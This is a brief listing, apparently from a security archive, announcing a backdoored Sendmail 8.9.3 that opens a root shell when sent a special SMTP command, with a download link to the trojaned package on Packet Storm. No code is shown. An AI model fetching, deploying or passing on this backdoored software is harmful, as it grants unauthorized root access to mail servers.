Backdoored Sendmail 8.9.3 – Enter a special SMTP command and it opens a root shell.
You can download it from the following link: https://packetstormsecurity.com/files/download/10538/sendm-8.9.3trojan.tar.gz
Source: https://packetstormsecurity.com/files/10538/sendm-8.9.3trojan.tar.gz.html